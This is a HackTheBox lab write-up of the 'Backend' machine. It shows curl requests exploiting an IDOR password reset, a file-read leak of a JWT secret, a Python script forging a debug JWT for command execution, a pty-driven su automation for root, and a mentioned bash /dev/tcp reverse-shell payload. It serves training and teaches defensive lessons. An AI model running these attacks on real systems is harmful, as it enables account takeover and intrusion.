HTB: Backend Writeup
Backend - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Backend |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.43.198 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐☆☆☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Backend exposes a FastAPI-based “UHC API” with no frontend and no /docs access, so every route has to be discovered by fuzzing with both GET and POST methods. An IDOR in the password-reset endpoint lets any authenticated (self-registered) user overwrite the admin account’s password, and admin access unlocks a debug-gated command execution endpoint plus an arbitrary file-read endpoint. Reading the application’s own config file leaks the JWT signing secret in plaintext, which is enough to forge a token carrying the debug claim the exec endpoint requires. From there, an authentication log accidentally records a password that was typed into the wrong field, giving root.
TL;DR: API enumeration (POST fuzzing) → self-signup/login → IDOR password reset on admin GUID → admin JWT → arbitrary file read leaks hardcoded JWT_SECRET → forge JWT with debug:true (HS256) → blind command execution as htb → user flag via file-read → auth.log leaks root’s password (typo’d into the username field) → automate su via a PTY-driving Python one-liner → root flag via file-read.
Reconnaissance
Port Scanning
Only two ports are open on the target:
- 22/tcp — SSH
- 80/tcp — HTTP,
uvicorn(FastAPI’s ASGI server)
The Server: uvicorn header and the JSON-only root response are the first tell that this is a pure backend API with no HTML frontend.
Service Enumeration
# root endpointcurl -s http://10.129.43.198/# {"msg":"UHC API Version 1.0"}
# walk the versioned API treecurl -s http://10.129.43.198/api# {"endpoints":["v1"]}
curl -s http://10.129.43.198/api/v1# {"endpoints":["user","admin"]}
# /user/<id> takes an integer ID — GUID + superuser flag leak for freecurl -s http://10.129.43.198/api/v1/user/1# {"guid":"36c2e94a-4271-4259-93bf-c96ad5948284","email":"admin@htb.local",# "date":null,"time_created":1649533388111,"is_superuser":true,"id":1}GET /api/v1/user/1 returns the admin account’s GUID directly — no auth required. This single GUID becomes the pivot point for the IDOR later in the chain.
Because the app only exposes GET-friendly read routes by default, the real attack surface is hidden behind POST methods that a normal gobuster/ffuf GET-mode scan won’t surface. Fuzzing /api/v1/user/FUZZ with -X POST turns up signup and login.
Vulnerability Assessment
Chaining together, the app has:
- Unauthenticated object disclosure —
/api/v1/user/{id}leaks the admin’s GUID and superuser status to anyone. - IDOR (CWE-639) on
/api/v1/user/updatepass— accepts an arbitraryguidin the JSON body from any authenticated user’s token, with no ownership check. - Hardcoded JWT secret (CWE-798), retrievable in plaintext through an authenticated arbitrary file-read endpoint (
/api/v1/admin/file). - Backdoor debug flag —
/api/v1/admin/exec/{cmd}executes shell commands as the app user once the presented JWT carries adebugclaim, which is trivially forgeable once the signing secret is known. - Sensitive log exposure — an app-writable
auth.logrecords failed login attempts verbatim, including a password a human mistyped into the username field.
None of this maps to a public CVE — it’s application-logic abuse specific to this custom “UHC API,” which is exactly why the CVE rating above is low while the real-world relevance is high (IDOR + hardcoded secrets + debug backdoors are extremely common in production APIs).
Initial Foothold
Exploitation Path
1. Self-register and log in.
# signup expects JSONcurl -s -X POST http://10.129.43.198/api/v1/user/signup \ -H "Content-Type: application/json" \ -d '{"email":"pwn@pwn.local","password":"Pwn12345!"}'# {}
# but /login expects classic form-encoded data, not JSONcurl -s -X POST http://10.129.43.198/api/v1/user/login \ -d "username=pwn@pwn.local&password=Pwn12345!"# {"access_token":"eyJhbGciOiJIUzI1NiIs...","token_type":"bearer"}Decoding this token’s payload shows "sub":"2","is_superuser":false,"guid":"ff33980b-a31c-4cee-94da-111841507836" — a normal, unprivileged account.
2. Abuse the IDOR in updatepass to reset the admin’s password.
The /api/v1/user/updatepass endpoint only checks that a valid bearer token is present — it never verifies that the guid in the request body belongs to the caller. Since the admin’s GUID was already leaked in recon (36c2e94a-4271-4259-93bf-c96ad5948284), this becomes a straight privilege-escalation-via-password-reset:
TOK="<pwn@pwn.local access_token>"
curl -s http://10.129.43.198/api/v1/user/updatepass \ -H "Authorization: bearer $TOK" \ -H "Content-Type: application/json" \ -d '{"guid":"36c2e94a-4271-4259-93bf-c96ad5948284","password":"admin123"}'# {"date":null,"id":1,"is_superuser":true,# "hashed_password":"$2b$12$xsv3B3UiD3XvvhDrJ1voM.owjmNm1p2A.IQvS9i8aeP81ePBiLkia",# "guid":"36c2e94a-4271-4259-93bf-c96ad5948284","email":"admin@htb.local","last_update":null}The response confirms the bcrypt hash was overwritten. Logging in as admin now works:
curl -s -X POST http://10.129.43.198/api/v1/user/login \ -d "username=admin@htb.local&password=admin123"# {"access_token":"eyJhbGciOiJIUzI1NiIs...","token_type":"bearer"}This admin JWT decodes to "sub":"1","is_superuser":true,"guid":"36c2e94a-..." — full admin claims, but not a working RCE key yet.
3. Hit the debug-gated exec endpoint — and get told why it’s locked.
curl -s http://10.129.43.198/api/v1/admin/exec/whoami \ -H "Authorization: bearer $ADMIN_TOK"# {"detail":"Debug key missing from JWT"}The server is explicit: the JWT itself needs a debug claim. That means forging a token — which means recovering the signing secret first.
4. Use the arbitrary file-read endpoint to leak the JWT secret.
curl -s http://10.129.43.198/api/v1/admin/file \ -H "Authorization: bearer $ADMIN_TOK" \ -H "Content-Type: application/json" \ -d '{"file":"/home/htb/uhc/app/core/config.py"}'The response includes the application’s Settings class:
class Settings(BaseSettings): API_V1_STR: str = "/api/v1" JWT_SECRET: str = "SuperSecretSigningKey-HTB" ALGORITHM: str = "HS256" ...JWT_SECRET is hardcoded in source and signed with HS256 — a symmetric algorithm, meaning knowing the secret is sufficient to both verify and forge tokens.
5. Forge a JWT with debug:true, signed with the recovered secret.
import base64, hmac, hashlib, json
def b64(d): return base64.urlsafe_b64encode(d).rstrip(b"=")
secret = b"SuperSecretSigningKey-HTB"header = {"alg": "HS256", "typ": "JWT"}payload = { "type": "access_token", "exp": 1785315025, "iat": 1784623825, "sub": "1", "is_superuser": True, "guid": "36c2e94a-4271-4259-93bf-c96ad5948284", "debug": True # <-- the claim the exec endpoint checks for}
h = b64(json.dumps(header, separators=(",", ":")).encode())p = b64(json.dumps(payload, separators=(",", ":")).encode())sig = b64(hmac.new(secret, h + b"." + p, hashlib.sha256).digest())
print((h + b"." + p + b"." + sig).decode())Because HS256 uses one shared secret for both signing and verification, hand-rolling the JWT with plain hmac/hashlib (rather than a JWT library) works fine — the server only cares that the signature validates against the same secret it holds.
6. Confirm RCE.
DTOK="<forged debug token>"
curl -s http://10.129.43.198/api/v1/admin/exec/whoami -H "Authorization: bearer $DTOK"# "htb"
curl -s http://10.129.43.198/api/v1/admin/exec/id -H "Authorization: bearer $DTOK"# "uid=1000(htb) gid=1000(htb) groups=1000(htb),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lxd)"Command execution as htb confirmed — the app blindly execs whatever string follows /admin/exec/ once the debug claim is present.
7. Grab the user flag — without ever needing an interactive shell.
Since the same admin session already has an arbitrary file-read primitive, there’s no need to pop a reverse shell just to cat a flag:
curl -s http://10.129.43.198/api/v1/admin/file \ -H "Authorization: bearer $DTOK" \ -H "Content-Type: application/json" \ -d '{"file":"/home/htb/user.txt"}'# {"file":"<redacted>\n"}A base64-encoded bash -i >& /dev/tcp/.../9090 0>&1 payload and an nc listener on the jump box were staged as a fallback interactive foothold, but the file-read + blind-exec combo turned out sufficient to finish the box entirely without an interactive shell.
Privilege Escalation
8. Read the app’s own auth log for a leaked credential.
curl -s http://10.129.43.198/api/v1/admin/file \ -H "Authorization: bearer $DTOK" \ -H "Content-Type: application/json" \ -d '{"file":"/home/htb/uhc/auth.log"}'Buried among a long run of Login Success for admin@htb.local entries is one anomaly:
07/21/2026, 08:32:13 - Login Failure for Tr0ub4dor&3A human at some point fat-fingered their password into the username field, and the app faithfully logged the failed attempt — leaking the root password in plaintext.
9. Automate su root through the blind RCE endpoint.
su needs an interactive TTY to prompt for a password, which a one-shot admin/exec/{cmd} call doesn’t give directly. The fix is to drive su through a PTY from a Python script, feed it the password programmatically, and dump the root flag to a world-readable temp file for later retrieval via the file-read endpoint:
import pty, os, timepid, fd = pty.fork()if pid == 0: os.execv("/bin/su", ["su", "root", "-c", "cat /root/root.txt > /tmp/r.txt; chmod 666 /tmp/r.txt"])else: time.sleep(1) os.write(fd, b"Tr0ub4dor&3\n") time.sleep(2) try: while True: d = os.read(fd, 1024) if not d: break except OSError: pass10. Deliver the script through /admin/exec/{cmd} — and hit a path-routing snag.
The first attempt base64-encoded the script and piped it through base64 -d:
CMD="echo <base64>|base64 -d > /tmp/s.py; python3 /tmp/s.py"URL-encoded and sent to /api/v1/admin/exec/<encoded>, this returned {"detail":"Not Found"}. The cause: standard base64’s alphabet includes /, and the exec endpoint takes the command as a path segment (/admin/exec/{cmd}) — any literal or percent-encoded slash inside the payload breaks FastAPI’s path matching before the command ever reaches the handler.
The fix is switching the encoding to base32, whose alphabet (A-Z2-7) contains no slashes at all:
# base32-encode the su-automation script, wrap in a decode+run pipeline, URL-encodeB32=$(base32 -w0 /tmp/inner.sh)CMD="echo ${B32}|base32 -d|bash"python3 -c "import urllib.parse,sys; print(urllib.parse.quote(sys.argv[1]))" "$CMD"11. Execute and retrieve root.txt.
curl -s "http://10.129.43.198/api/v1/admin/exec/${ENC}" -H "Authorization: bearer $DTOK"sleep 4 # give the pty-driven su time to complete
curl -s http://10.129.43.198/api/v1/admin/file \ -H "Authorization: bearer $DTOK" \ -H "Content-Type: application/json" \ -d '{"file":"/tmp/r.txt"}'# {"file":"<redacted>\n"}Root, without ever needing a stable shell — every step of the privilege escalation rode on the same blind-command-execution and arbitrary-file-read primitives from the admin JWT forge.
Attack Chain Summary
Unauthenticated GET /api/v1/user/1 leaks admin GUID → self-signup + form-encoded /login (own JWT) → IDOR on /api/v1/user/updatepass (reset admin pw using leaked GUID) → login as admin (superuser JWT, but debug claim missing) → /api/v1/admin/file leaks JWT_SECRET from config.py → forge JWT with "debug":true, HS256-signed with recovered secret → /api/v1/admin/exec/{cmd} blind RCE as htb → /api/v1/admin/file reads /home/htb/user.txt directly (User Flag) → /api/v1/admin/file reads auth.log → root password typo'd as a username → base32-encoded PTY-driving Python script executed via exec RCE (base64 failed: '/' in alphabet breaks the /admin/exec/{cmd} path route) → su root automated, root.txt copied to /tmp/r.txt → /api/v1/admin/file reads /tmp/r.txt (Root Flag)Tools Used
| Tool | Purpose |
|---|---|
curl | All HTTP interaction with the FastAPI backend (recon, auth, IDOR, RCE, file reads) |
ffuf | POST-method endpoint fuzzing to discover /signup and /login |
python3 (hmac/hashlib/base64) | Hand-rolled HS256 JWT forging once the secret was recovered |
python3 (pty) | Driving an interactive su prompt from a non-interactive blind RCE channel |
base32/base64 | Encoding payloads for delivery through a slash-sensitive path-based exec endpoint |
nc | Staged reverse-shell listener (fallback foothold, ultimately unused) |
ssh (jump box) | Routing all tooling/traffic to the target through the assessment jump host |
Key Learnings
Techniques Practiced
- Blind API enumeration by fuzzing both GET and POST methods separately, since REST conventions hide write-capable routes from GET-only scanners.
- Exploiting an IDOR by supplying another user’s object ID (GUID) in an otherwise-legitimate authenticated request.
- Recovering a symmetric JWT signing secret via an authenticated arbitrary file-read primitive, then forging tokens with attacker-chosen claims (HS256 signing is fully reproducible off the secret alone).
- Turning a one-shot/blind command-execution primitive into an interactive privilege escalation by wrapping
suin a Pythonpty.fork()driver. - Diagnosing and routing around a URL/path-segment encoding constraint (base64’s
/character breaking a path-parameter-based exec endpoint) by switching to a slash-free encoding (base32).
Lessons Learned
- Never trust a client-supplied identifier (GUID, user ID) in a mutating endpoint without verifying it belongs to the authenticated caller — this single IDOR was the entire privilege escalation to admin.
- Hardcoded secrets in source (
JWT_SECRET) are only as safe as every other endpoint in the app; one arbitrary file-read anywhere in the API surface fully defeats HS256 token integrity. - Debug/backdoor flags gated only by a JWT claim are not a security boundary once the signing secret is recoverable — they’re equivalent to no gate at all.
- Application logs that record raw user input (including failed-login usernames) can leak credentials that were never meant to be logged, especially when a human mistypes a password into the wrong field.
- When a “shell” is blocked by transport constraints (blind RCE, no PTY), a scripting-language PTY driver (
pty.fork()) can substitute for a full interactive terminal to satisfy programs that refuse to run non-interactively.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- kavigihan, “Backend” — Official HackTheBox Writeup, Document No. D25.100.326, Machine Author: ippsec.